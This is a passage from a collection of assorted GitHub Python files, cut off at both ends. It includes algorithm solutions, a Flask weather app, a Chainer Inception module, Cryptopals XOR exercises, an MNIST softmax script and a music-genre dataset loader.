sys\ninput = sys.stdin.readline\nfrom collections import deque\n\n# 동기 수 (1-indexing)\nn = int(input())\n# 리스트 길이\nm = int(input())\n\ngraph = [[] for _ in range(n+1)]\nvisited = [False]*(n+1)\n\nfor _ in range(m):\n a,b = map(int, input().split())\n graph[a].append(b)\n graph[b].append(a)\n \ndef search(start):\n visited[start] = True\n que = deque()\n que.append([start,0])\n answer=0\n while que:\n node,connect = que.popleft()\n if connect==2:\n continue\n for nextNode in graph[node]:\n if not visited[nextNode]:\n answer+=1\n visited[nextNode]=True\n que.append([nextNode, connect+1])\n return answer\n \nprint(search(1))","repo_name":"JangAyeon/Algorithm","sub_path":"23-1/boj/5567.py","file_name":"5567.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43597629417","text":"from flask import Flask, render_template, request\r\nfrom getdata import get_weather_data\r\nfrom parseweatherdata import parse_weather_data\r\nimport Flask_Table\r\n\r\napp = Flask(__name__)\r\n\r\ntotal_weather_data = []\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n@app.route('/addlocation', methods = ['POST'])\r\ndef add_another():\r\n global total_weather_data\r\n location = request.form['location']\r\n location_start = request.form['start_date']\r\n location_end = request.form['end_date']\r\n\r\n all_location_weather_data = get_weather_data(location)\r\n location_weather_data = parse_weather_data(all_location_weather_data, location_start, location_end)\r\n for day_num in location_weather_data:\r\n location_weather_data[day_num]['location'] = location\r\n total_weather_data.append(location_weather_data)\r\n return render_template('addanother.html')\r\n\r\n@app.route('/addanother', methods=['POST'])\r\ndef create_forecast():\r\n global total_weather_data\r\n if 'submit' in request.form.values():\r\n items = Flask_Table.create_flask_table(total_weather_data)\r\n table = Flask_Table.ItemTable(items)\r\n return render_template('forecast.html', html_table = table)\r\n else:\r\n print('adding another location')\r\n return render_template('index.html')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n\r\n\r\n\r\n","repo_name":"apham727/WeatherForItinerary","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73036318453","text":"import numpy\n\nfrom chainer.functions.activation import relu\nfrom chainer.functions.array import concat\nfrom chainer.functions.pooling import average_pooling_2d\nfrom chainer.functions.pooling import max_pooling_2d\nfrom chainer import link\nfrom chainer.links.connection import convolution_2d\nfrom chainer.links.normalization import batch_normalization\n\n\nclass InceptionBN(link.Chain):\n\n \"\"\"Inception module of the new GoogLeNet with BatchNormalization.\n\n This chain acts like :class:`Inception`, while InceptionBN uses the\n :class:`BatchNormalization` on top of each convolution, the 5x5 convolution\n path is replaced by two consecutive 3x3 convolution applications, and the\n pooling method is configurable.\n\n See: `Batch Normalization: Accelerating Deep Network Training by Reducing \\\n Internal Covariate Shift <https://arxiv.org/abs/1502.03167>`_.\n\n Args:\n in_channels (int): Number of channels of input arrays.\n out1 (int): Output size of the 1x1 convolution path.\n proj3 (int): Projection size of the single 3x3 convolution path.\n out3 (int): Output size of the single 3x3 convolution path.\n proj33 (int): Projection size of the double 3x3 convolutions path.\n out33 (int): Output size of the double 3x3 convolutions path.\n pooltype (str): Pooling type. It must be either ``'max'`` or ``'avg'``.\n proj_pool (bool): If ``True``, do projection in the pooling path.\n stride (int): Stride parameter of the last convolution of each path.\n conv_init: A callable that takes ``numpy.ndarray`` or\n ``cupy.ndarray`` and edits its value.\n It is used for initialization of the convolution matrix weights.\n Maybe be ``None`` to use default initialization.\n dtype (numpy.dtype): Type to use in\n ``~batch_normalization.BatchNormalization``.\n\n .. seealso:: :class:`Inception`\n\n Attributes:\n train (bool): If ``True``, then batch normalization layers are used in\n training mode. If ``False``, they are used in testing mode.\n\n \"\"\"\n\n def __init__(self, in_channels, out1, proj3, out3, proj33, out33,\n pooltype, proj_pool=None, stride=1, conv_init=None,\n dtype=numpy.float32):\n super(InceptionBN, self).__init__(\n proj3=convolution_2d.Convolution2D(\n in_channels, proj3, 1, nobias=True, initialW=conv_init),\n conv3=convolution_2d.Convolution2D(\n proj3, out3, 3, pad=1, stride=stride, nobias=True,\n initialW=conv_init),\n proj33=convolution_2d.Convolution2D(\n in_channels, proj33, 1, nobias=True, initialW=conv_init),\n conv33a=convolution_2d.Convolution2D(\n proj33, out33, 3, pad=1, nobias=True, initialW=conv_init),\n conv33b=convolution_2d.Convolution2D(\n out33, out33, 3, pad=1, stride=stride, nobias=True,\n initialW=conv_init),\n proj3n=batch_normalization.BatchNormalization(proj3, dtype=dtype),\n conv3n=batch_normalization.BatchNormalization(out3, dtype=dtype),\n proj33n=batch_normalization.BatchNormalization(proj33,\n dtype=dtype),\n conv33an=batch_normalization.BatchNormalization(out33,\n dtype=dtype),\n conv33bn=batch_normalization.BatchNormalization(out33,\n dtype=dtype),\n )\n\n if out1 > 0:\n assert stride == 1\n assert proj_pool is not None\n self.add_link('conv1',\n convolution_2d.Convolution2D(in_channels, out1, 1,\n stride=stride,\n nobias=True,\n initialW=conv_init))\n self.add_link('conv1n', batch_normalization.BatchNormalization(\n out1, dtype=dtype))\n self.out1 = out1\n\n if proj_pool is not None:\n self.add_link('poolp', convolution_2d.Convolution2D(\n in_channels, proj_pool, 1, nobias=True, initialW=conv_init))\n self.add_link('poolpn', batch_normalization.BatchNormalization(\n proj_pool, dtype=dtype))\n self.proj_pool = proj_pool\n\n self.stride = stride\n self.pooltype = pooltype\n if pooltype != 'max' and pooltype != 'avg':\n raise NotImplementedError()\n\n self.train = True\n\n def __call__(self, x):\n test = not self.train\n outs = []\n\n if self.out1 > 0:\n h1 = self.conv1(x)\n h1 = self.conv1n(h1, test=test)\n h1 = relu.relu(h1)\n outs.append(h1)\n\n h3 = relu.relu(self.proj3n(self.proj3(x), test=test))\n h3 = relu.relu(self.conv3n(self.conv3(h3), test=test))\n outs.append(h3)\n\n h33 = relu.relu(self.proj33n(self.proj33(x), test=test))\n h33 = relu.relu(self.conv33an(self.conv33a(h33), test=test))\n h33 = relu.relu(self.conv33bn(self.conv33b(h33), test=test))\n outs.append(h33)\n\n if self.pooltype == 'max':\n p = max_pooling_2d.max_pooling_2d(x, 3, stride=self.stride, pad=1,\n cover_all=False)\n else:\n p = average_pooling_2d.average_pooling_2d(x, 3, stride=self.stride,\n pad=1)\n if self.proj_pool is not None:\n p = relu.relu(self.poolpn(self.poolp(p), test=test))\n outs.append(p)\n\n y = concat.concat(outs, axis=1)\n return y\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/pfnet_chainer/chainer-master/chainer/links/connection/inceptionbn.py","file_name":"inceptionbn.py","file_ext":"py","file_size_in_byte":5775,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"73888441332","text":"\"\"\"\nCook the current dish and add the value satisfaction[index] * time; the next dish will be cooked at time time + 1, so add the value of dp[index + 1]time + 1].\nSkip the current dish, and then the next dish will be cooked at time time, hence the value dp[index + 1][time]\n\"\"\"\nclass Solution:\n\t# TOP-DOWN\n def maxSatisfaction(self, satisfaction: List[int]) -> int:\n satisfaction.sort()\n memo = {}\n def dp(i, time):\n if i == len(satisfaction):\n return 0\n if (i, time) in memo:\n return memo[(i, time)]\n res = max(satisfaction[i]*time + dp(i+1, time+1), dp(i+1, time))\n memo[(i, time)] = res\n return res\n return dp(0, 1)\n\n\n # BOTTOM-UP\n def maxSatisfaction(self, satisfaction: List[int]) -> int:\n satisfaction.sort()\n n = len(satisfaction)\n # dp[i][t]: max sum starting from dish i\n dp = [[0 for i in range(n+2)] for i in range(n+1)]\n for i in range(n-1, -1, -1):\n for time in range(n, 0, -1):\n # print(i, time)\n dp[i][time] = max(satisfaction[i] * time + dp[i+1][time+1], dp[i+1][time])\n \n return dp[0][1]\n\n\n # BOTTOM-UP\n def maxSatisfaction(self, satisfaction: List[int]) -> int:\n satisfaction.sort()\n n = len(satisfaction)\n prev = [0 for i in range(n+2)]\n for i in range(n-1, -1, -1):\n # dp[t]: max sum starting from time t\n dp = [0 for i in range(n+2)]\n for time in range(n, 0, -1):\n # print(i, time)\n dp[time] = max(satisfaction[i] * time + prev[time+1], prev[time])\n prev = dp\n \n return prev[1]\n\n\n\n ","repo_name":"xiaofanc/leetcode","sub_path":"1402-reducing-dishes.py","file_name":"1402-reducing-dishes.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"45151201251","text":"import random\n\nnum = int(input(\"Digite um numero entre 0 e 5 \"))\nnum1 = random.randint(0,5)\nprint(num1)\nif num1 == num:\n print(\"Voce acertou, parabens\")\n quit()\nelse:\n print(\"Voce errou, tente novamente\")\n","repo_name":"ThalisRuan/Exerc-cios-Python---Curso-em-V-deo","sub_path":"Desafio.26.py","file_name":"Desafio.26.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8461024264","text":"# Standard library imports\nimport os\nimport sys\n\n# Third imports\nimport sqlite3\nimport pandas as pd\nfrom typing import List\n\nclass ModifyDB:\n \"\"\"\n Class to modify the euronations.db\n \"\"\"\n def __init__(self, db: str = \"euronations.db\"):\n self.db = sqlite3.connect(db)\n\n def insert_in_db(\n self, \n nation_name:str = None, \n city_name:str = None, capitol:bool=False, population:int=0,\n EU:bool=False, NATO:bool=False, commonwealth:bool=False):\n \"\"\"\n insert new value in the database\n \"\"\"\n # ------------\n # Nation Table\n # ------------\n cur_n = self.db.cursor()\n cur_n.execute(\"\"\"SELECT COUNT(id) FROM nations;\"\"\")\n size_of_n = str(cur_n.fetchall()[0][0] + 1)\n\n cur_n.execute(\n \"\"\"\n INSERT INTO nations(id, nation)\n VALUES(?,?)\"\"\",\n (str(size_of_n), nation_name),\n )\n\n # ------------\n # Cities Table\n # ------------\n cur_c = self.db.cursor()\n cur_c.execute(\"\"\"SELECT COUNT(city) FROM cities;\"\"\")\n size_of_c = str(cur_c.fetchall()[0][0] + 1)\n\n cur_c.execute(\n \"\"\"\n INSERT INTO cities(id, nation_id, city, capitol, population)\n VALUES(?,?,?,?,?)\"\"\",\n (str(size_of_c), size_of_n, city_name, capitol, population), #str(rigth_wrong)\n )\n\n # ------------\n # Nation Table\n # ------------\n cur_o = self.db.cursor()\n cur_o.execute(\"\"\"SELECT COUNT(id) FROM organizations;\"\"\")\n size_of_o = str(cur_o.fetchall()[0][0] + 1)\n\n cur_o.execute(\n \"\"\"\n INSERT INTO organizations(id, nation_id, EU, NATO, commonwealth)\n VALUES(?,?,?,?,?)\"\"\",\n (str(size_of_o), size_of_n, EU, NATO, commonwealth),\n )\n\n self.db.commit()\n","repo_name":"MattiaCinelli/EuroNations-SQLitePy","sub_path":"euronations/modify_db.py","file_name":"modify_db.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35229539583","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfirstRow = 1\nlastRow =31\ncurrentRow = firstRow\n\nwhile currentRow <= lastRow :\n print(\"Row number\", currentRow)\n currentRow+=1\n\n\n# In[3]:\n\n\nstart = 0\nend = 16\nx = start\n\nwhile x<=end:\n print(x, 2**x)\n x+=1\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Pasiak/UDEMY_PythonFirstSteps","sub_path":"UDEMY_S1_S2/01.77_While.py","file_name":"01.77_While.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20534911724","text":"import array\n\n# Fixed XOR: takes two equal-length binary strings and produces XOR combination.\ndef fxor(str1, str2):\n assert len(str1) == len(str2), \"String lengths must be equal.\"\n arr1 = array.array('B', str1)\n arr2 = array.array('B', str2)\n for i in range(len(arr1)):\n arr1[i] ^= arr2[i]\n return arr1.tostring()\n\n# Take a string str1 and pad with chars to length.\ndef str_pad(str1, length, chars):\n repeats = (length // len(chars)) + 1\n pad = chars*repeats\n str1 += pad\n return str1[:length]\n\n# Repeating key XOR: takes a string and repeating key and produces XOR combination.\ndef rxor(str1, key):\n key = str_pad(key, len(str1), key)\n return fxor(str1, key)\n\n# Guesses 1-byte XOR key for string.\ndef guess_1byte_xor(str1):\n str_len = len(str1)\n scores = {}\n texts = {}\n for i in range(32, 126):\n key = chr(i)\n key_str = key * str_len\n plaintext = fxor(str1, key_str)\n texts[key] = plaintext\n scores[key] = score(plaintext)\n key = max(scores, key=scores.get)\n high_score = scores[key]\n text = texts[key]\n # print 'key: ' + key\n # print 'text: ' + text\n return {'key': key, 'score': high_score, 'text': text}\n\n# Score a string based on enlish letter frequencies.\ndef score(str1):\n str1 = str1.lower()\n frequencies = letter_frequencies()\n ss = 0.0\n for letter in frequencies.iterkeys():\n expected_frequency = frequencies[letter]\n actual_frequency = str1.count(letter)\n ss += pow(actual_frequency - expected_frequency, 2)\n return ss\n\n# Take hex-encoded string and convert to base64.\ndef hex2b64(hex_str):\n return hex_str.decode('hex').encode('base64')\n\n# Return dict of english letter frequencies.\ndef letter_frequencies():\n return {'a':0.08167, 'b':0.01492, 'c':0.02782, 'd':0.04253, 'e':0.12702, 'f':0.02228, 'g':0.02015, 'h':0.06094, 'i':0.06966, 'j':0.00153, 'k':0.00772, 'l':0.04025, 'm':0.02406, 'n':0.06749, 'o':0.07507, 'p':0.01929, 'q':0.00095, 'r':0.05987, 's':0.06327, 't':0.09056, 'u':0.02758, 'v':0.00978, 'w':0.02360, 'x':0.00150, 'y':0.01974, 'z':0.00074, ' ':0.21}\n\n# Compute Hamming distance between two strings.\ndef hamming(str1, str2):\n return sum(tobits(fxor(str1, str2)))\n\n# Convert string to bits (from stackoverflow).\ndef tobits(s):\n result = []\n for c in s:\n bits = bin(ord(c))[2:]\n bits = '00000000'[len(bits):] + bits\n result.extend([int(b) for b in bits])\n return result\n\n# Guess rxor keysize.\ndef rxor_keysize(str1):\n keysizes = {}\n for keysize in range(2, 40):\n distance = 0\n blocks = [ str1[keysize*i:keysize*(i+1)] for i in range(4) ]\n for i in range(4):\n for j in range(i):\n if (i != j):\n distance += hamming(blocks[i], blocks[j])\n keysizes[keysize] = distance / float(keysize)\n return min(keysizes, key=keysizes.get)\n\n# Crack rxor\ndef rxor_crack(str1, keysize):\n blocks = [ str1[keysize*i:keysize*(i+1)] for i in range(len(str1)/keysize)]\n tblocks = {}\n for i in range(keysize):\n keyblock = ''\n for j in range(len(blocks)):\n keyblock = keyblock + blocks[j][i]\n tblocks[i] = keyblock\n key = ''\n for i in range(keysize):\n key = key + guess_1byte_xor(tblocks[i])['key']\n return key\n\ndef pad_pkcs7(str1, length):\n return str_pad(str1, length, \"\\x04\")\n","repo_name":"danepowell/cryptopals","sub_path":"python/crypt.py","file_name":"crypt.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7476164065","text":"import concurrent.futures\nimport scrapper\nfrom download import read_urls, download, unzip_all\nimport os\n\ndef main():\n urls_file = 'urls.txt'\n download_dir = 'downloads'\n if not os.path.exists(urls_file):\n print(\"-------------------- Scrapping --------------------------------------------------\")\n scrapper.start(urls_file)\n urls = read_urls(urls_file)\n print('--------------------------- Downloading ---------------------------------------------')\n print(f'# Files to download: {len(urls)}')\n with concurrent.futures.ThreadPoolExecutor(max_workers=6) as executor:\n executor.map(download, urls)\n unzip_all(download_dir)\n os.remove(urls_file)\n\nif __name__ == '__main__':\n main()","repo_name":"rogerramosruiz/hdri-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19685915447","text":"def composition(k, genome):\n return sorted((genome[i:i + k] for i in range(len(genome) - k + 1)))\n\n\nif __name__ == '__main__':\n with open('dataset.txt') as f:\n text = f.read()\n\n result = composition(\n int(text.split()[0]),\n text.split()[1])\n\n with open('result.txt', 'w') as r:\n print('\\n'.join(result), file=r)","repo_name":"vladsavelyev/bioinformatics_coursera","sub_path":"4_assembly/composition.py","file_name":"composition.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34079475980","text":"class CommandLine:\n __action: str = ''\n\n __name: str = ''\n\n __token1: str = ''\n\n __token2: str = ''\n\n __value: str = ''\n\n __checksum: str = ''\n\n __format: str = ''\n\n __verbose: bool = False\n\n __list: bool = False\n\n __key: str = ''\n\n __valid_actions: [str] = [\n 'add',\n 'clear',\n 'config',\n 'delete',\n 'get',\n 'help',\n 'list',\n 'version',\n 'view'\n ]\n\n @property\n def action(self) -> str:\n return self.__action\n\n @action.setter\n def action(self, value: str):\n self.__action = value\n\n @property\n def name(self) -> str:\n return self.__name\n\n @name.setter\n def name(self, value: str):\n self.__name = value\n\n @property\n def token1(self) -> str:\n return self.__token1\n\n @token1.setter\n def token1(self, value: str):\n self.__token1 = value\n\n @property\n def token2(self) -> str:\n return self.__token2\n\n @token2.setter\n def token2(self, value: str):\n self.__token2 = value\n\n @property\n def value(self) -> str:\n return self.__value\n\n @value.setter\n def value(self, value: str):\n self.__value = value\n\n @property\n def checksum(self) -> str:\n return self.__checksum\n\n @checksum.setter\n def checksum(self, value: str):\n self.__checksum = value\n\n @property\n def format(self) -> str:\n return self.__format\n\n @format.setter\n def format(self, value: str):\n self.__format = value\n\n @property\n def verbose(self) -> bool:\n return self.__verbose\n\n @verbose.setter\n def verbose(self, value: bool):\n self.__verbose = value\n\n @property\n def list(self) -> bool:\n return self.__list\n\n @list.setter\n def list(self, value: bool):\n self.__list = value\n\n @property\n def key(self) -> str:\n return self.__key\n\n @key.setter\n def key(self, value: str):\n self.__key = value\n\n def is_valid_action(self, action: str) -> bool:\n return action in self.__valid_actions\n\n def __init__(self, args: [str]):\n self.__parse(args)\n\n def __parse(self, args: [str]):\n if len(args) == 0:\n return\n\n if self.is_valid_action(args[0]):\n # Remove the first element from the array.\n self.action = args.pop(0)\n else:\n # Assume it's ./rpass <name>\n self.action = 'get'\n self.name = args.pop(0)\n\n while len(args) > 0:\n current_arg = args.pop(0)\n\n # First check if there is an argument AFTER the argument that begins with \"--\".\n if current_arg[:2] == '--' and len(args) == 0:\n # These are the switches.\n if current_arg not in ['--verbose', '--list']:\n raise Exception('Argument {0} has no value set'.format(current_arg))\n\n # And now continue with everything else.\n if current_arg == '--name':\n self.name = args.pop(0)\n elif current_arg == '--token1':\n self.token1 = args.pop(0)\n elif current_arg == '--token2':\n self.token2 = args.pop(0)\n elif current_arg == '--value':\n self.value = args.pop(0)\n elif current_arg == '--checksum':\n self.checksum = args.pop(0)\n elif current_arg == '--key':\n self.key = args.pop(0)\n elif current_arg == '--format':\n self.format = args.pop(0)\n elif current_arg == '--verbose':\n self.verbose = True\n elif current_arg == '--list':\n self.list = True\n else:\n raise Exception('Unknown argument: {0}'.format(current_arg))\n\n def validate(self):\n if self.action == 'add':\n if len(self.name) == 0:\n raise Exception('--name not specified')\n elif len(self.token1) == 0:\n raise Exception('--token1 not specified')\n elif len(self.token2) == 0:\n raise Exception('--token2 not specified')\n elif len(self.key) == 0:\n raise Exception('--key not specified')\n elif self.action == 'config':\n if not self.list:\n if len(self.name) == 0:\n raise Exception('--name not specified')\n elif self.action in ['delete', 'view']:\n if len(self.name) == 0:\n raise Exception('--name not specified')\n elif self.action == 'get':\n #\n # Can be:\n # --name NAME\n # --token1 AAA --token2 BBB\n if len(self.name) == 0:\n if len(self.token1) == 0 and len(self.token2) == 0:\n raise Exception('Please specify either the name or the 2 tokens')\n\n if len(self.token1) == 0 or len(self.token2) == 0:\n raise Exception('Please specify both tokens')\n elif self.action in ['clear', 'list']:\n # Nothing to do here.\n pass\n","repo_name":"sadreck/rpass-python","sub_path":"src/commandline.py","file_name":"commandline.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36447049807","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 15 17:55:35 2017\n\n@author: yuqing.wang1\n\"\"\"\n\n\n# SOFTMAX - ALL IN ONE\n\nfrom keras.datasets import mnist\nimport numpy as np\n\n# load data\n\n(X_train, y_train), (X_test, y_test) = mnist.load_data()\n\nX_train = X_train.reshape((X_train.shape[0], np.product(X_train.shape[1:]))).T / 255.0\nX_test = X_test.reshape((X_test.shape[0], np.product(X_test.shape[1:]))).T / 255.0\n\n# parameters\n\n(D, N) = X_train.shape\nC = len(np.unique(y_train))\n\neps = 1e-03\nstep = 0.5\n\n# init W\n\nW = np.zeros((D, C))\n\np = np.exp(W.T.dot(X_train))\np /= np.sum(p, axis=0)\n\n# optimization\n\nloss = 1e10\nlast_loss = 0\n\nwhile np.abs(loss - last_loss) > eps:\n # compute gradient\n dW = X_train.dot(p.T) / N\n for k in range(C):\n dW[:,k] -= np.sum(X_train[:,y_train==k], axis=1) / N\n\n # gradient descent\n W -= step * dW\n\n # compute loss\n p = np.exp(W.T.dot(X_train))\n p /= np.sum(p, axis=0)\n\n last_loss = loss\n loss = 0\n for k in range(C):\n loss += - np.sum(np.log(p[k,y_train==k])) / N\n print ('Loss:', loss)\n\n# test\n\np = np.exp(W.T.dot(X_test))\np /= np.sum(p, axis=0)\n\ny = np.argmax(p, axis=0)\nacc = np.sum(y==y_test) * 1.0 / len(y)\nprint ('Accuracy:', acc)\n\nimport matplotlib.pyplot as plt\n\nnumber = 2\nplt.imshow(W[:,number].reshape([28, 28]), cmap ='gray')\n\nx = plt.imread('1.5.jpg') # generated by Photoshop\nplt.imshow(x, cmap='gray')\n\nx = (x / 255.0).reshape((28*28,1))\np = np.exp(W.T.dot(x))\np /= np.sum(p, axis=0)\nprint ('predicted to be:', np.argmax(p))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"satyrswang/practice-python","sub_path":"yin-tech/implement-keras/softmax.py","file_name":"softmax.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19381321190","text":"'''\nProblem Statement - Given an integer array nums, \nreturn true if any value appears at least twice in the array, \nand return false if every element is distinct.\nExample 1:\n\nInput: nums = [1,2,3,1]\nOutput: true\nExample 2:\n\nInput: nums = [1,2,3,4]\nOutput: false\n'''\n\n#Solution 1 - using dict\n\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n #create an empty dict\n numsDict = {}\n for num in nums:\n '''if the key for that particular num is made already \n then the number already exists in the list, so return True'''\n if num in numsDict:\n return True\n #else add the entry for the new number\n else:\n numsDict[num] = 1\n #return false at the end of the list\n return False\n\n#Solution 1 - using set(contains unique entries)\n\nclass Solution:\n def containsDuplicate(self, nums: List[int]) -> bool:\n return len(set(nums)) < len(nums)","repo_name":"priyamore/lc-problems","sub_path":"data-structures/containsDuplicate.py","file_name":"containsDuplicate.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30113738105","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 13 19:27:48 2022\n\n@author: juani\n\"\"\"\n\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport csv\n\ndef leer_arboles(nombre_archivo):\n f = open(nombre_archivo, encoding='UTF-8')\n rows = csv.reader(f)\n headers = next(rows)\n print(headers)\n arboleda = [dict(zip(headers, row)) for row in rows]\n return arboleda\n\n\n\n#6.10 descomentar linea 27 y comentar linea 48\nos.path.join('..', 'Data', 'arbolado-en-espacios-verdes.csv')\narboleda = leer_arboles('../Data/arbolado-en-espacios-verdes.csv')\naltura_jacaranda = [(float(arbol['altura_tot'])) for arbol in arboleda if arbol['nombre_com'] == 'Jacarandá']\n#plt.hist(altura_jacaranda, bins = 30)\naltura_jacaranda.sort()\nprint(altura_jacaranda)\n\n\n#5.17\nmedidas_jacaranda = [(float(arbol['altura_tot']), int(arbol['diametro']))\nfor arbol in arboleda if arbol['nombre_com'] == 'Jacarandá']\nprint(medidas_jacaranda)\n\n\n#6.11 \ndef scatter_hd(lista_de_pares):\n lista_de_pares=np.array(lista_de_pares)\n plt.scatter(lista_de_pares[:,0] , lista_de_pares[:,1] ,alpha=0.5, c='RED')\n plt.colorbar(label='Gamma Ray - API')\n plt.xlabel(\"diametro (cm)\")\n plt.ylabel(\"alto (m)\")\n plt.title(\"Relación diámetro-alto para Jacarandás\")\n plt.show()\n \nscatter_hd(medidas_jacaranda)\n\n\n# def medidas_de_especies(especies, arboleda):\n# medidas = []\n# medidas.append([{e:(float(arbol['altura_tot']), int(arbol['diametro']))}for e in especies for arbol in arboleda if arbol['nombre_com'] == e])\n# return medidas\n\n# os.path.join('..', 'Data', 'arbolado-en-espacios-verdes.csv')\n# arboleda = leer_arboles('../Data/arbolado-en-espacios-verdes.csv')\n# especies = ['Eucalipto', 'Palo borracho rosado', 'Jacarandá']\n# medidas = medidas_de_especies(especies, arboleda)\n# scatter_hd(medidas)","repo_name":"juanamolinalucia2001/python2C-unsam2022","sub_path":"Clase06/arboles.py","file_name":"arboles.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28762610110","text":"'''\nGiven an unsorted array nums, reorder it such that nums[0] < nums[1] > nums[2] < nums[3]....\n\nExample 1:\n\nInput: nums = [1, 5, 1, 1, 6, 4]\nOutput: One possible answer is [1, 4, 1, 5, 1, 6].\nExample 2:\n\nInput: nums = [1, 3, 2, 2, 3, 1]\nOutput: One possible answer is [2, 3, 1, 3, 1, 2].\nNote:\nYou may assume all input has valid answer.\n\nFollow Up:\nCan you do it in O(n) time and/or in-place with O(1) extra space?\n题意:排序问题\n思路:先对数组排序,然后把数组分成两半,数组的奇数部分倒序插入数组前半部分的元素,\n数组的偶数部分倒序插入数组后半部分元素 时间复杂度O(nlogn),空间复杂度O(n)\n'''\nclass Solution:\n def wiggleSort(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n if len(nums)<=1:\n return\n nums.sort()\n med = (len(nums)-1)//2\n nums[::2],nums[1::2]=nums[med::-1],nums[:med:-1]\n ","repo_name":"LiqunW/LeetCode","sub_path":"LeetCode_python_solution/324. Wiggle Sort II.py","file_name":"324. Wiggle Sort II.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73957139253","text":"import os\nimport re\nimport numpy as np\nimport cv2\nfrom audio_to_melSpectrogram import create_spectrogram\nfrom slice_melSpectrogram import slice_spectrogram\nfrom keras.utils import np_utils\nfrom sklearn.model_selection import train_test_split\n\n\"\"\"\nConverts images and labels into training and testing matrices.\n\"\"\"\ndef load_dataset(mode='Train'):\n create_spectrogram(mode)\n slice_spectrogram(mode)\n\n if mode==\"Train\":\n genre = {\n \"Hip-Hop\": 0,\n \"International\": 1,\n \"Electronic\": 2,\n \"Folk\" : 3,\n \"Experimental\": 4,\n \"Rock\": 5,\n \"Pop\": 6,\n \"Instrumental\": 7\n }\n filenames = [\"Train_Sliced_Images\" + '/' + f for f in os.listdir(\"Train_Sliced_Images\")\n if f.endswith(\".jpg\")]\n images_all = [None]*(len(filenames))\n labels_all = [None]*(len(filenames))\n for f in filenames:\n index = int(re.search('Train_Sliced_Images/(.+?)_.*.jpg', f).group(1))\n genre_variable = re.search('Train_Sliced_Images/.*_(.+?).jpg', f).group(1)\n temp = cv2.imread(f, cv2.IMREAD_UNCHANGED)\n images_all[index] = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY)\n labels_all[index] = genre[genre_variable]\n \n images = np.array(images_all)\n labels = np.array(labels_all)\n labels = labels.reshape(labels.shape[0],1)\n train_x, test_x, train_y, test_y = train_test_split(images, labels, test_size=0.05, shuffle=True)\n\n # Convert the labels into one-hot vectors.\n train_y = np_utils.to_categorical(train_y)\n test_y = np_utils.to_categorical(test_y, num_classes=8)\n n_classes = len(genre)\n genre_new = {value: key for key, value in genre.items()}\n\n if os.path.exists('Training_Data'):\n train_x = np.load(\"Training_Data/train_x.npy\")\n train_y = np.load(\"Training_Data/train_y.npy\")\n test_x = np.load(\"Training_Data/test_x.npy\")\n test_y = np.load(\"Training_Data/test_y.npy\")\n return train_x, train_y, test_x, test_y, n_classes, genre_new\n\n if not os.path.exists('Training_Data'):\n os.makedirs('Training_Data')\n np.save(\"Training_Data/train_x.npy\", train_x)\n np.save(\"Training_Data/train_y.npy\", train_y)\n np.save(\"Training_Data/test_x.npy\", test_x)\n np.save(\"Training_Data/test_y.npy\", test_y)\n return train_x, train_y, test_x, test_y, n_classes, genre_new\n\n if mode==\"Test\":\n filenames = [\"Test_Sliced_Images\" + '/' + f for f in os.listdir(\"Test_Sliced_Images\")\n if f.endswith(\".jpg\")]\n images = []\n labels = []\n for f in filenames:\n song_variable = re.search('Test_Sliced_Images/.*_(.+?).jpg', f).group(1)\n tempImg = cv2.imread(f, cv2.IMREAD_UNCHANGED)\n images.append(cv2.cvtColor(tempImg, cv2.COLOR_BGR2GRAY))\n labels.append(song_variable)\n \n images = np.array(images)\n return images, 